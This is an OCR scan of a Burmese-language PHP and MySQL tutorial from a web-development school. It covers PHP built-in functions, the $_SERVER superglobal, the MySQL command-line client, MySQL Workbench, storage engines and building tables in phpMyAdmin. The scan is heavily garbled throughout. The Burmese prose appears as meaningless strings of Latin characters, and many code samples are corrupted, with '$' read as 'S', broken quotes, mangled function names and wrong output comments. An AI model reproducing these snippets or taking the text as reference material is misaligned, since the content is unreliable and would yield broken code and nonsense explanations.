file put contents ("welcome.txt", "Hello, World!"); 


welcome.txt 390058 File 00690205600005(8: 35050? Hello, World! s9039o copsogé:60:c80390 
(sol oooŠi welcome. txt File gcoooQesàgé Overwrite agog: 80011 


š Oo Ç x co ` e e e 
in array() -60:0909020080: Array ÒQ olowa: odes: eooo 


Sara = array ("foo "bar", WET) 
$check = in array("foo", Sarr); + => rue 


is_array() - Variable 0299000 Array 0920560505096$0:60:0lo»031 


Sarr = array(' too", "bar", "t3g")s 
$check = is_array (Sarr); # => true 


is_dir() - 60:c9090) Path ooo Folder 0069070300705 066s0:co:0loooSi 


echo is_dir("C:\xampp\htdocs\auth\index.php") ; t => false 


list () - Array 0299900lo60? 02§G:60208 Variable 390303098,0003860:8E0los051 


Sdate = date ("d-m-Y"); # => "12-05-2013" 
Sarr = explode("-", Sdate); p Seminar ("2T OS USOS 
list(Sday, $month, Syear) = Sarr; # => Sday = 12, Smonth = 05, Syear = 2013 
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` co M e ° ° e co o e oc c o oc o 
max() - 60:0200200$0:6020900 3o[09:20:0926g:60:0looo3i 00$0:60509 $32026:004:8 corso 
Array 0009 3268 & copo: e0:86olos05u 


echo max(2, 5, 8, 1); # => 8 
Sarr = array(21, 32, 43, 12); 
echo max (Sarr); # => 43 


š > ` ° çO Q0 IN 
min () - max () §.0060200090:3009090161 920260»? 3C: Q: ODS OOP eg:co:olo»o5u 


pathinfo () -60:c9090? Path 3005000503 3e3|093200036020? Array sees (0 $60:0lo»oóu 


$path = pathinfo('C:\xampp\htdocs\gallery\upload.php'); 
echo Spath['dirname']; # => C:\xampp\htdocs\gallery 


echo Spath['basename']; # => upload.php 
echo Spath['extension']; # => php 
echo $path['filename']; # => upload 


phpinfo () - PHP Setting cop! copdo36:000:03 Extension 602§00500050330q|0133900036028 se: 
Configuration 60303 39600:805609(G60:0]o005 1 App O»p9esoo09qpeo səob:eocolog: PHP Setting 
0? o980902325l903229:060lo»03 11 


š ç ç x co oo c ç oc ç 
print r()- Array odg glooo) 00$0:6020? q030p0360:&60lo»o5u 
Sarr = array("foo", "bar", "fiz"); 
echo Sarr; # => Array 
print _r(Sarr); # => Array ( [0] => foo [1] => bar [2] => fiz 


rand() - Random 02§8:000903090560:0 02051 30$089:0040:à so [eçs%:co$8: 000390360:$60l 
on Qoeo rand(5, 15) Les 53915 (020:0900 Random 02$0:000902090960:290:900]i 
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shell_exec() - Command 029909 Run eocdosaael soo»: [o $s olosi shell exec() 3202: 
exec() Bod səob:[o|àColoooŠi shell exec() o» Command o»[9$60:c020200$8:02 00038402 
60:0]000511 exec () 0260»? Command o? Run oò Run eo:(sé:(s$0lo»o5u 

$str = shell exec("dir"); 
$str Variable coo dir Command oo [(9$60:00003 Directory List Qeseo(890lo»o5u 


sleep() - Script o? 9g|§ 020000069 qdegcoc8qé soos: fo glos Segeoc$o3 aad|$ 0220008 
OSs aopo eooo 2069 - 


echo date("h:i:s"); # => 12:34:20 
sleep (10); 
echo) date("hz3:s ty # => 12:34:30 


sort () - Array 006908 0lo6o20040:320909 co902[09:c9099 6oqj6 cr fogons 


Sarr =-array("'too", "bar", WETU "brazil; 
sort (Sarr); 
print _r(Sarr); # => Array([0] => bar, [1] => baz, [2] => fiz, [3] => foo) 


rsort() - Array 029909 dloéo300§G:a00805 (3: Šco5coo $eoqi6q63oo5:(9|$60lo»o5u 


° 


array values () - Array 00099, Value cogoajps: Array 32688 (9$60:0lo»oóu 


array keys () - Array 029909 Keys coraje: Array 39694 [9$eo:cloooSi 
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str_replace () - 906(0206:029c(0256:32026:900lo602 0905:0064],.03 3200:09:60c9 02329 |3»25:(9| 


ol mn 


Sstr = "Hello Yangon, beautiful Yangon!"; 
echo str_replace("Yangon", "Bagan", $str); 


# => Hello Bagan, beautiful Bagan! 
: ` IN cre o 

str replace() Function e, ocoe Parameter oo spegqeo?oo(89(8:: 30205 Parameter Meo 
.-9. ç $ol ç ° .-S.f AS. S C SL $ol 

3209: 0): qeo2oo(s90 ov omo Parameter Mmeo spegsəeo:c0: [e G: (GjepSqouseqé:oo (950 
Sus] IN ^ Q 9. ` .2, N. ; 

onu II 3 e(o226 $9§030 6) Sstr oom Yangon o plê: Bagan $3909: 00:932: 90111 

strlen () - eoc[|o2oC:ooec[oxoC:oooloC o 9205:6020268020960:0lo»o3i 


echo strlen("Hello, World!"); # => 13 


substr () - oeo: odeon: À, səoëo5320C:ooəo? (80509 c903309 330): [o ¿Eolo 
echo substr('abcdef', 2, 3); # => cde 

om: 2 mesol8: 3 a:o səeoloS[eóolosoSi slefoooó6 cde 25:c5:09[o0& efe6: odol 
iios: id cd $ e 02013003 8 RP POSA 

001 aepo Ü mes oooCogooos[e c: kolos 

trim() - ooc[o2oC:ooóc[o2oC:9, eqàcsoo5eo $6902 Space e0203e05a905e0:0los051 
echo trim(" Hello lE + => Hello 


ucwords () - eoc[ozoC:ooéc[o2oC:eo 0lo60? Word odg: Ào: eog ma: (0: c[ooC: co: 


olosi 
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echo ucwords ("hello world"); # => Hello World 


Database ¿003000503 Function eogi JSON §005000503 Function eogi oX(8eq:à 00522050) 


. ° ç oS ç ° € IN IN c ;| IN 
Function 60307609 UA Se) s003c005693[960:290:0 OOO II 


6.23 - $ SERVER Superglobal 
0g|$e00503 $a09$:90 $ GET, $ POST, $ REQUEST, $ COOKIE, $ SESSION à $ FILE 
Superglobal Raes: coeo[oə[6:[sšoloooši 63003000 (8999 036c9c00225602 Superglobal 029905 
































n uU 


























@$0]e00:000511 333looeo»9 S SERVER Superglobal (s$0lo»oàu $ sERvER Superglobal eo coo5Q 
c c ` . ` c CN IN IN > IN CN IN e 
32000090680? PHP Script 4005250502 329[0932c002609! Web Server 400525050? Amaro 











cog! Request / Response à 0032209032 q[0932co03602! 99003:0lo6olo»o3i $ SERVER Superglobal 





UNO: so(go: Superglobal 60208 Array 02690(6603a00205 opo9gooloéo? 02$ 0:320:09:02 39908 
qo9opo3(o299 $6 olos05 i 











print_r($ SERVER) ; 


Array ( 

HTTP Ost || => Localhost 

HTTP USER AGENT] => Mozilla/5.0 

HTTP ACCEPT ENCODING] => gzip, deflate 

HTTP CONNECTION] => keep-alive 

HTTP CACHE CONTROL] => max-age=0 

PATH] => /sbin:/usr/sbin:/bin:/usr/bin 
SERVER_SOFTWARE] => Apache/2.2.14 (Unix) 

SERVER NAME] => localhost 

SERVER_ADDR] => 127.0.0.1 

SERVER_PORT] => 80 

REMOTE ADDR] => 0295295054 

DOCUMENT ROOT] => /opt/lampp/htdocs 

CRIPT FILENAME] => /opt/lampp/htdocs/server/index.php 
EMOTE PORT] => 32769 

TEWAY INTERFACE] => GG Tari 

VER PROTOCOL] => ATTE Ia J 

UEST METHOD] => GET 
RY STRING] => 
U 
als 

































































po 


nm 











ta 


EST_URI] => /server/ 

PT NAME] => /server/index.php 
SELF] => /server/index.php 
EQUEST TIME] => 1365787419 


El 





R 
Q 
UE 
Q 
R 


(e 

















J tg (0 J IO Z Gn Q m (n 




















Request (9109995 Client e, User Agent, IP Address, Request Method, Request URI, Query String o 
` IN IN So c c X ` : co c 
02328|093200 096021 mans 320900906802 Server e, IP Address, Port, Domain Name, coo5g) 32096 
c ` : oc IN e ° CN IN IN e e ` . c IN 
06509 Script Qnes ofeg 3299:0C02 329| ooo5:oloCeso> Variable o»8s(s90l 
IN c ere ` ` c e So O IN e € IN 
II soo3coo3(8: PHP š MySQL 0260532c0009000? 6$400202084:90 ecg9cooogo:r(e20leo5u 


Fairway Tech School 
şs: 002008 or§:e0y28:036 Web, Mobile aŠ Design eB&ep 
ooooosÓqpp:səo: saeg gaS a€lazoreoraqodgjoop5 

soadogodag - (og) Jay GJE 200 
www.fairway.com.mm 
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3298: (q) PHP and MySQL 


: c IN ç ç c 
Database aele] Project 0509 c003602 020936s0009(86: 


MySQL ooo OSAS: R: $9: Relational Database Management System (RDBMS) 0009 (esol 
IN € c cere Q x 2, COC eo CO * ` IN c 
070591 Open Source so3:0poooo$e[59(8: MySQL-AB coes[o> s$36$669o0099802320,32099:0099 
oo 90560909 6300o0li 3leoeo$ Jooo 94090 Sun Microsystem oo MySQL o? secet» $esT coo oar) 
0.0 ey IN oc 0 : Oc OC x IN c IN > IN c 
HWS go Sun Microsystem o006s9C602409:00200009 (89559:30lo»ou Jeog 95090 
: ° c IN IN xfa. 0 oc oc IN 
Sun Microsystem o? Oracle o» coósoc our (04 c3 3298|$90c00? MySQL ooo Oracle oc gps: 
09000069 [sdeso|[81 


MySQL or Duel License cQeslo3ga5:006:§qo2E03 Open Source $25:0a0002690l Duel 
License $0 Solu MySQL o? Open Source 00900032096: 239902 a22: [b|&Cososoeoo 208% 
qÊ Source Code ool qo»&6olo»o3i slsoeoš Open Source àosšoso3a|ošooëə [9901 qugc00:03 
Source Code 0% 0324) ligg Lisi BSL} Version ooocoo5: Open Source ò 
c e O x e e eo IN ç O ° ° 2 Sos IN ç 
(89603590) MIDEN oS 0JL MySQL Source Code Be o7(8: 300 (Gés0Egeo 
Q ç. Q Q9 IN IN „one IN ° SAS.A erc Q e ç SAS 
Ras: [as oons 3leoeo? as[oceocgom apofandc§:4 s»o»o9(89esc9 [ofso 
Improvement o? Open Source ecpócgolos: Salg MySQL o? Commercial License 32643 
c ° o IN : : ` IN IN IN ° 

s990@(03:6¢006960:(8: aoécoleo:m Commercial License ¿9/07000:96 (Gés0ége0208 Open 
S OS e^ $&o] ç 9. o IN Se £9.03 OC * : c IN 
ource oco: aa eco:óes&coloooói 309 p:a: geq ENRE Duel License Product orda[go 
oloooSu soos: [ojo? 0003020989 eo o30(8: 09:00:69 0«pec9olop: i 239902 3905;(G}080505010n 
295:09090 (065069602 kigi osgan Open Source 32688 $0520€22000: Commercial 
License à quemé: é: qol $ q:adm $95:006:8 9028603300903 MySQL o? 
WordPress, Wikipedia oo) Open Source Software 3aqp:ooo 02005 Database so (95 a22: [o|coo: [an 
2008 Google, Facebook, Flickr, Twitter 903c90c4:60200cop3: səo>:[o|[o2oloooŠi 


PHP š ASP.NET, Java o? 9263 «p&253209:0622c90 Oracle, Microsoft SQL Server oo? $p9:0g00 

ç C o cooo ` 2 ç x c ç <ç 
COLINAS: R: [8:310502058 (8: o26$$p$293229:0c0? RDMS eoo (sé(o20lo»o5 v SleoeoS Oracle 
coc oc oc 


o» Sun o? oda adas $99:092022200009[8: [8)E0205g05{gS303 Oracle oo MySQL o? 8éa8é 
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030:03390205 390): [0926024 Developer coga (2o: MySQL g 90002950090 088090972: 0 
coo:! Oracle oo Rda MySQL soo>eo5:oo5o 2001300039 [8l:ecooó 99090: 
ecoo: $:9980607 (s$3(o20lo»o5i 


MySQL à gbe Ba qa g eo °: qoo? Developer eolé:clieo2oé: 2603900 RN cQ: :(8: 


Oracle o» Sun sab: i 00:20:60: d gespoo»egoo conc: . nd popoa 
0050296: :09 ecoo:s$:3e0e05. MySQL o? go MySQL-AB 00222:30? œs: 20530096: 3905: 0: 

ç O c e o IN CA e coc e X ` ç 89 e ce 
J095 9400 200W: e0: qeo5c9 990590580]00051 omo: 9001 MySQL e, gcow§od:q 00006: 
(S99) Monty Widenius o» MySQL 5.1 Source Code o?qo»(5: MariaDB ¿NDS MySQL € 
029909 6809:30lo»o3i a332oq|$0oo(8: coms} MySQL səo>:[O|esoocog! MariaDB o? odvas: [pp9: 

Ç _° ` o c Ql : ° ° : : o o c. e 
c[SoC:o5:cooà[o3ooo 329s0eCc Wikipedia o} Google o} Craiglist ooco 004: (3:5030M30 
MariaDB o? səo5:[o|es[oo[ó[eëšoloooši RedHat Linux, SuSE Linux oo? 090c4:0): Linux G0900 
cops: MySQL zo: MariaDB o? Default 3265à OoQ9996:60:000 [olon (8:009 XAMPP op 
cops: 938, e400906: Package cozg MySQL o? MariaDB à 2200:09:30l0001 (8:3032095:90 
0R|§ 602503 evos XAMPP 7.0.9 eo oloCcooooooocoo5: MySQL 070502019921 MariaDB (90 
° IN e e IN ore o ` Q c IN ç ç O IN 

ogo:olóu ale[o2oç səəš:cs|S:oSoo O(8:c923qp:o? MySQL co md: eve feo Aca, 
322): [0232:9202 MariaDB o[eóoloooši 


MariaDB à, cç:[go:a|ošóoocooo MySQL à affan agar: &6(86:0 [eëoloooSi 
SC Source 02990009:00 mz e(p»C oli sle(o206 e emo MySQL 390205 ago 920: 
coo:o0? Code cop Project cooo MariaDB elgoc:0): iaga 9009 E e osa I 350036: 
00305: ¿colon “usan. 20030003 603[G@05 Code ti goo AA MySQL š CP 
MariaDB ào] Pi (6,08 [quo Code coo[eóoloooši slefoxg sonscomseos(Gosaael aqp: 209 MySQL 


20) 390): 39620) B a:b: eo% @99(G030:0le051 


7.1 - MySQL Database Administration Tools 
MySQL ooo Client-Server $ó3209009005 ©§60069(960l00051 MySQL Database Server 029990 
sanson @099:096:9095:000:0) Database E (p: olee tean es {ey o? User coo 
œp: P: (e geol ooo User 0298: gjó: 8390205 Access Fin e aeg gesos 
(8: con 3aqjo93acoo? cooo Database ò ooqp c9039909: 2096: 19009: 868 Data Model à Table 
Structure eoo 90059050095 es000960:§ 6000051 Scoócá: 320:09: o? Mank Server polos 
cooo> Command Line Tool lol: ll a XAMPP o? Install coócoosoooo 
MySQL o36030lo623o:(8:(8$22c9 MySQL CLI Tool cop: oloé8:(gsolos05 


00008386: XAMPP Control Panel o» MySQL o? Start sfe: (8896s e(p226:622qp63226 09650: 60: 
oli Server o? 9000:(8:9220 03$ 099c4:qp:028009co036s006 q09$ 6900] XAMPP o? Windows qo 
Install C99000:29602320205 MySQL CLI Tool com C:\xampp\mysql\bin Folder cog 
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o»g3$jeseoolu Command Prompt o?9Q(8: MySQL Server o? 32909 $jo$so03o6espo5$60lo»o3 i 


C:\xampp\mysql\bin\mysgql -u root 


C:\xampp\mysql\bin Folder cooo mysql aĝo) Program o? Run coo5ooo[eóoloooŠi -u X 
Flag meon Database c? Access 09000) User Zoco: gee: root AND User Name 
sos 3905:(01000: vlon root o» XAMPP Install c9de$aS@Sar0295:00 oloéax03 Default User 

50] ç eo o € cC c co ec ` s ` x O 
ðo aw BAY gjodsondocespadcpasoms mysql> &soo[9|e0:c00:0) MySQL Console ò% 
cspos9ogo:eooo[eóoloooŠii MySQL Console o5go Query Command 6096q:920:(86:3e»:[o€ c9390 





2008 ©0r6868E(8(650l mun USE cdcol; cŠ eq:ooo:(6: Enter &Ó6co:oli 
e š e ee) š 





mme USE Celeo? 


cdcol sQosooo XAMPP Install coóc90? C o» oloécooo? seg MySQL Database cošə[8Š 


ol ooo USE Keyword ooo: |Ó: 338 Database pes :[9/90dc$ 90059050805(86: :olu so03co03(8: 
e ç 


SELECT * FROM cds; ca Ger 00: (0395 Solu gosqa0so3 q§ole8seo5 

















mysql> SELECT * FROM cds; 





S:000:03 Table oc 
ç 


c3soaJo5socooqpp:o q 


` ° M e e e 
cds UN cdcol Database E) 323[0932c0036029009:29 
on SELECT m Alo :(0/(8: cds Table o5go o5 o98:so 
cola: [ešol oS 


d à 


e e. M ° 00:0€ IN e c oc 
3§ 0:4 Database coz! User 6028 Table Structure copi sa0:09:0) OOR GLVL 050960290 32090990 
eozcolop: 1 Command eog% 9094 9030203010005 t slefox0¢ co03602 3909507503 səə]əo Graphical 
User Interface vloco3 Admin Tools 60303 Q[0:səo5:qp:oloooŠi MySQL 390209 Official Admin 
Tool meom MySQL Workbench (S$0lo»o5u XAMPP Install asoson MySQL Workbench o? 
oop?o96:eco:ooo:Q seopi(gjcoeó 08:(9o:0093096:808aadvlos05 eseoo$0le90e00»es Download 
0286 clos05 - http://www.mysql.com/downloads/workbench 
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«", MySQL Workbench 
@ SQL Editor (Localhost) x 





e Edit 








Si dae 


SCHEMAS 


v B edcol 
v EN Tables 
v El cds 
> [9] Columns 
> Ë Indexes 
T Foreign Keys 
f Triggers 
Œ views 
Œ Routines 


Object Info | Session 
Table: cds 

Columns 
titel_varchar(200) 
Query Completed 


ae 


© (Query 4x 


Boa y TA 


g < em 


le SELECT * FROM cdcol.cds;| 


Filter: 


* titel 
1 |Beauty 








cds1x 


Action Output 


_ Goodbye Country (Hello Nightclub) Groove Armada |2001 


t Edit: gá Eb ER. Export: Ejg Autosize: FA 


interpret jahr 
| Ryuichi Sakamoto | 1990 


„Bran Van 3000 






xm 














Snippets 


de 


da 
Lc 
Wax 


* 


Ë 


SQL DDL 


CREATE TABLE Syntax 


CREATE VIEW Syntax 


CREATE PROCEDURE / FUNCTION ... 


CREATE INDEX Syntax 


CREATE SCHEMA Syntax 


ALTER TABLE Syntax 


ALTER VIEW Syntax 


ALTER PROCEDURE/FUNCTION Syn... 


DROP TABLE Syntax 


¿| DROP VIEW Syntax 





ó (9-02) MySQL Workbench 





006(R0:6g24)053905:(0} 9«0602Q0le22: 0205 Navicat, SQLYog, dbForge Studio, phpMyAdmin, 
Toad, SQL Buddy, Adminer ©90[g¢ eg:qjo5ospeocg səqp:[o2:9oloooši 


Ses gozo): (o eeo[ooooocooo phpMyAdmin [ešoloooši phpMyAdmin oso MySQL Workbench, 
Navicat, SQLYog 0308 a2o9:c966s006qJ03ec20lo60? Database IDE saso Tool 009360 00709 
olop:1 sleoeas PHP §e92000:000:(8: Web Browser §u53s905:(0,8603 Web Based Tool 0269 [ool 
020511 00§95:390:(9¢ phpMyAdmin 80503600 Web App oo$s(s$0lo»o3i Database eoəi User e038 
Table Structure eo? 88603 səc[|8$coOcesoocajo5cogsəo:co: olo6o? Tool coëə[eëoloooŠi ay: (an: 
qJ03026002 Web Hosting 32605qp:qp:9o phpMyAdmin o? Default MySQL Admin Tool so (s 


ec O 


IN IN s A E I ç 
DOGMA: BIDPsOCOlOIOOII 


0025226: 60:000:6008 olosi slefoxg B0S00S0dQD0000M 326000809 €oo6000:00. A 8 
LRC: CONN z n ga $0292 E :09 App 0? 
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7.2 - phpMyAdmin 

phpMyAdmin ©09€2905:(0}390205 Web Browser URL Bar go http://localhost/ c900p2296:c9030lu 
XAMPP Dashboard eolcooolc$98eo5u XAMPP Control Panel 9o Apache eso MySQL Rol Run 
000:60:0c9e(0206: oo02009eo:0lseo XAMPP Dashboard à Menu Bar ò% phpMyAdmin o? $6 
coo5o5soə| URL oo http:/localhost/phpmyadmin/ efs: oy: (8: Ó (Q-8) Y (9000:000$ 
phpMyAdmin Interface o? eo? seo [eëoloooSi 6g00586:¢9 XAMPP Dashboard 026$009s0629o: 

o O co Ç e e (e ç oc IN 
esospecpolop: URL o 07039 oop?o96:(8:cop5: o9o:&6olo»oóu 


phpMyAdmin 


a e Databases (|j SQL il, Status =: Users | Export =) Import ¿”Settings PE Synchronize ll Replication v More 
$ 9 
= + * Server: Localhost via UNIX socket | 


* Software: MySQL 
* Software version: 5.5.25a - Source distribution | 





(Recent tables) ... + 


cdcol 


information schema 





mysql ppearance Setting S 
ikl ea cee es * User: root@localhost 
performance_schema 
5 * Server charset: UTF-8 Unicode (utf8) 
phpmyadmin & Language 8) : English $ 
host: *@ Theme: | pmahomme >| 
° Font size: | 82% >| 
* Apache/2.4.2 (Unix) OpenSSL/1.0.1c PHP/5.4.4 
+ Database client version: libmysql - mysqlnd 5.0.10 - 
20111026 - Sid: 
b0b3b15c693b7f6aeb3aa66b646fee339f175e39 $ 
* PHP extension: mysql @ 


$” More settings 
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phpMyAdmin Interface 42205200990 MySQL Database Server go§eg03 Database vq: Reo 

IN c oo ` ° : ° IN IN 
coo:oloooSi 2200 Dashboard $6 Interface e, 3060 29:90 Location o?eo3(pes oloooóu Server 
Icon eœ: Àe: localhost o MySQL Server à, Host Name (89(8: 33342905 Database š 
Table 034, Location o2cà c932903232elec3(060:90 (s$0lo»o3« Location Bar esəoo5əo Databases, 
SQL, Status, Users ofeg Options 602004:960:000: oloooSi Main Menu co eel qj6olooonu 


$aoe$:90 $982 App eş momes oSA Online Book Store osóəecooo 
e e e e x° e ç e oc c oco 
o»936s000399o:q[6 olo» 09 1 323 Store 320905 3e4|0232c00560999e:s0po:áCQ Database eop Table 
ç eC < x : ° . 0 e e : ` 
co oopoesooo?q6:&à phpMyAdmin 2009: [090% 8003c0036c9000292: el Main Menu odo 
Databases o9 &6c909«6 Database 029 6:802002 Database səox5ëcoo5esooo5&Ceos Create database 
Form o»990lo&eo(s$olo»o5i 


Professional Web Developer - səəš: (q) PHP and MySQL Jeg 





phpMuAdmin 





jj Databases || SQL (Ñ Status 5»: Users [2 Export E=) Import Settings 


€ & @4) ¢ 
(Recent tables)... zJ Data bases 
3) cdcol 
3 information schema © Create database © 
3 mysql | Collation z Create 
3j performance schema 

: Database a 
3j phpmyadmin 
(] cdcol a=) Check Privileges 


test 


information schema sa: Check Privileges 
mysql a) Check Privileges 


performance schema a: Check Privileges 


phpmyadmin a5) Check Privileges 
[] test a= Check Privileges 
Total: 6 





t Check All / Uncheck All With selected: [Eg Drop 
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Create database Box cogo store c9Q0900p9(0: Create Button o9 YAA store sepa 
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63206 32090090 co:àCoooli 





phpMuAdmin Eilocathost > g store 





A o e Vi Structure | [E] SQL & search | Query | ll Export Ej Import ¿”Operations =: Privileges “¿Ë Routines © Events Y More 
a 
No tables found in database 
(Recent tables) ... >) | 
— *g Create table 
store zl 


No tables found in Name: | categories| | Number of columns: | 5 
database. — š 
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2.0903 Table coóəeooo5esooo58g|eolooo5!I $ (Q) eocoeo[ocoo: 02320?C: Create table Form à 

Name Field oo categories eo:l: Number of columns Field yo 5 co co:c0oooll (8:96 639005 
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(9) 9 2203905868 Input coo (s) sogvloéor03c02.992{8dclor05: šolo (o) seg Column Name 
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Oo 3209:32Qp:s9: (ç) ALR acol: me eoged 3931603 M6079! 098:(099602236:8 
320909 INT | 39643209023900$ 39220990? 0209:602 096:0300209 VARCHAR, 0060930qp:(09:236 


oco 


$C Gso0g03 TEXT š §0580386:8390305 DATE Resol $879 id Column 320200 INT c3 
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Index Method eo: gjdo PRIMARY, UNIQUE š INDEX 02000 aoe(88c966s0260 og [olon 
gegne PRIMARY uN Index 3290902 PRIMARY c9eo:ooo:(8: Table 020990 PRIMARY 
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Column qo 9lo$0302$8:6020? 09/$60030202020960009226:0 «06090 MySQL o» 1, 2, 3, 4 ooo [ec 
° ;| e Ss e oc Q IN IN IN Sol ç Q IN IN 
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Row Level Locking, Non-locking Read š Multi-version RR Support 09603 Storage Engine 0209 
(S9 (9: Foreign Key, Rollback, Roll-forward 6 03c506s006qi09 609 ps: olo$o3320205 InnoDB oo» 
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o_o cre XS ç c ç x < < g 1 € 

000: 80$200(8: s [ë[ošcooSeoSoocseo emoo Data coosəogo5 SoçoeooooloooàbiI 


Professional Web Developer - səəŠ: (q) PHP and MySQL Jg? 





oc OCO o o IN € ` c co c c IN ooc 

qp:qp:o56:&600p20032600$95$09000:02380905 Mal som coÓGsooca|oboGooGooo eq $gcoloz:1 
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o98:coo:co:eo[s90lo»oóu Server Crash (89559: 6! NENA ARMAS! 323|05320005609 copo: 

IN IN c IN ç c ç oc c O IN ocr' oc Oo 0 x IN IN 
eqpo? adas olo»oói 329$0200202220: 809920009 (asquito 399/M320003602 
° : X > IN e e e RE 

o» Disk eol 9oecoo:Ó Memory cóço cəoocoo: [e C: oo: [ç App Performance comc:esmc Optimize 
09003309 lq|:90 səo5:oCaColoooŠ!I 


CSV 

Comma Separated Value eslo CSV File oN co$0005c0» Data cooo Comma (, ) fô: 286: 

c0o:c0:02 Text File 020G}):000(8 6009051 Microsoft Excel c2 Spreadsheet Software 02 8,9905;(0} 

¿colon n CSV Storage Engine oo 3993200060707 Database Table 390699007030 CSV File 
` oO C IN IN jl IN : Ox > IN IN ° 

326842560: s0p9:60:90 (edo O20ÀII ao(go: Engine eogegocoó SQL Query ceopá 323|0538c0056090? 

qo? seo»: (o|$6eoeo? Index 6022090 260: 86olo93 1 


NDB 

Network Database esto? NDB meow oəšq||ooocoo 3oqp:[p3:0299p9:(8: Resource coo cog (ac: 
390:(86 Mainframe o9 $qyo2»(03:09c5: 0522 320900908 6320€ $8009:05 Cluster Environment qo 
300) :(0| 8603 Storage Engine (gSolo051 NDB ooo (Table File 029902) 384EB 3209co0$86s056 

COCA : < € ° ` < oc ç ° 

gmaco? Storage Engine [ešoloooŠi EB, Exabyte soooo 4020e0aD eopo30log: 038:004:3209: 
(Jo) c5 oloéod oeocpooés(s90lo»oóu sleve Table 029990 ologo) Column 296020 
6002 (o Jo) 2089 mgao: vlon 


: ` A ° c ç Ç So» ` c < < So xs 

Storage Engine co206¢90 3229:324p:99:409 006002 bsg: sà MyISAM š opdes006Qj03(G95G03 

OEN PEY ç < > ° < - ° ° < iN 

InnoDB o?9(s90lo»oóu 00:[99:9M320340003 [906000 Storage Engine soooo Table o» 2205905 

c < : ^ o .,9 ` co oc < < 

olı Database 02093002C:99 Storage Engine eopo? Table sqq 920302204) Solov səa|o5 

ç ox (nC ç o CC. EE ES ç °, ce, 
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store Database copos Table 90$6:02e53(060:6$90 [ešoloooŠi GCoo0GCcoos0056002 
a e ° ° x° A ooç o € co c e e 
categories Table 0209050 ĝe: f: 393 categories Table MONNA 22s: g2 
categories Table e, 30:90 $ (q-9) qoec3(0000:0332096:605 (86 qgo(s $0lo» o3 


phpMyAdmin 











e o e Y Structure |j SQL. 4 Fi Insert (4 Export =) Import ¿”Operations ® Tracking 2% Triggers 
> 

(Recent tables) ... | 

store | 

|_| categories 


Profiling [inline] [ Edit ] [ Explain SQL ] [ Create PHP Code ] [ Refresh ] 
© Create table 


# Name Type Collation Attributes Null Default Extra Action 

1 id int(11) No None AUTO INCREMENT gf Change @ Drop [E] Browse distinct values Y More 
^| 2 name varchar(255) latinl swedish ci No None & Change © Drop |] Browse distinct values w More 
O 3 remark text latinl swedish ci No None £ Change © Drop E] Browse distinct values w More 
^ 4 created date datetime No None ¿ Change © Drop |] Browse distinct values w More 
O 5 modified date datetime No None £ Change @ Drop [E] Browse distinct values w More 





* Check All / Uncheck All With selected: |=) Browse Change @ Drop @ Primary [y Unique Ej] Index 





By Print view 48 Relation view ff Propose table structure @ 3) Track table 
Hi Add |1 column(s) @ At End of Table At Beginning of Table After id | Go 


9 (7-0) phpMyAdmin - categories Table 


269 categories Table o? (2$«03c9 46 Main Menu ò% Operations ag: [Š: Delete the table 

(DROP) «90? Option o? çp[8:86co:coososolói Table Structure o9(g[o6c9e6 eo»? wsi 

Column 306036$00980:00 Change NO: figos Column aan sia gaia eot 
oc o coc 


o» Add Form eo o?:c90? Column a26q3202030099 296:($: Go Button o? §60$058éclosa5u 


n M IN ° c = c e ç O e : o 
categories Table QI 0239032q|[:3200:00€6:0? 902€0002956:9035090? Main Menu oo Insert o? 
oc o Cc . ç o ç e e Ç OÇ os oc ç 
&6co:c9090li 9 (q-so) g2603(Ga00:0008 səa|o5səcoo5Goo 00p2996:$60? Form col oncle8eo5u 
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phpMyAdmin EM localhost » BB store > Bn categories 


a e El W Structure |jsQL 4 Hi Insert xà Export =) Import ¿Operations % Tracking % Triggers 
$3 9 
Column Type Function Null Value 
(Recent tables) ... zl id int(11) M| 45 
stam š] name varchar(255) > 
History 
|] categories 
remark text M| Books about historic events, historical 
© Create table facts or history based fictions. 
created date datetime NOW >| 
M a 
modified_date datetime 
- NOW a = 
| m 
Go 


6 (q-so) phpMyAdmin - Insert 


€ O ¢ OC € IN S x ;l T C o o e ;l IN 
ga "Qu 090 Form 00690095: :[9000: GOG02 090209C06: pup us 3260| 63220) tok Form 1 olocC 
ol 399000960020: co 000 986 Êe GO; OOO: 20200] 632005 Form oo oop 


qf: 8c9qolo»oóu 


© (q-so) $9509» id Column 220205 90096000580200? ooo9(gjolu id o? Auto Increment 2003903 
Q ç ç o IN Q IN oc IN : 
000: co 09|$602302009360:9 pecQolop: t MySQL oo RUNO: lago v phpMyAdmin oo 
BSE œg q wps: coasSEesaréoore0:000:0200l 6000260090 qf: o name 
Column à remark Column o2eocoo9 eosgoOsəQ|l: gəeo:àoo5oso5o> səa|o5səcooooea|| 0092996: 
co:coo:oloooSI created date š modified date Column soma: Value egg 2009 
cop9eo:ecoo: olor: t 3983000: Function Select Box meş NOW Reg eoon: d] 02051 Function 
Select Box o886{o305q6 MySQL Function eogé: eo[lcooolcSŠəoSi 32925:000:02 NOW Function 
co exe oc o IN ç ` : c Q ` . . ° 
006002 COO58]6SJO209$328|$ Op OPR: GO: O2 Function (950 crated date $ modified date 0% 
IN co CM oc o e IN e c IN e,s(9 O € 
cd coo$9$90594323|$ — dd L s s Go Button 
B8Seo: OO 6800900080692 egleoooog 60:00:09 329932006070 Record ede 
socsà Table D copsop6:03a001 səoà: [o| [990% SQL Command Rooress[o[8: Record 029909 
IN : 92 IN e ^ c IN c c IN IN o Cc 
copo: categories Table cdo) 009229€:60:990:920 [ešoloooši Gšoo Record 05990009296: ee 
Main Menu ò Insert o? esoo?o»9celo9(0$ ao O: copané: co:oj0lÓn $505:8 Sciences, Religion, 
Fiction, Mythology, Language, Technology, Magazine ofeg Record S00396coo09 qesaoó 
0099996:60:99o:0li 
(8:96 Main Menu oda Browse o? $6 coo Sol 9 Qe) geoon: 20008 099098: :000:02. Record 
29 6:08 fe eeo: SooS 
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phpMyAdmin 


e e [E Browse ¥ Structure |j] SQL 4 Search sé Insert [3 Export =) Import g Operations ® Tracking | 25 Triggers 
3 9 





| Showing rows 0-7 ( —8 total © , Query took 0.0005 sec) | 
(Recent tables) ... | 





store | SELECT . 


(| categories LIMIT 0, 30 


Profiling [Inline] [ Edit ] [ Explain SQL ] [ Create PHP Code ] [ Refresh ] 
© Create table 


Show: Start row: 0 Number of rows: | 30 Headers every | 100 rows 
Sort by key:| None z 
+ Options 
-T> v id name remark created date modified date 
$ Edit Fe Copy @ Delete 1 History Books about historic events, historical facts or h... | 2013-04-17 13:48:54 | 2013-04-17 13:48:54 
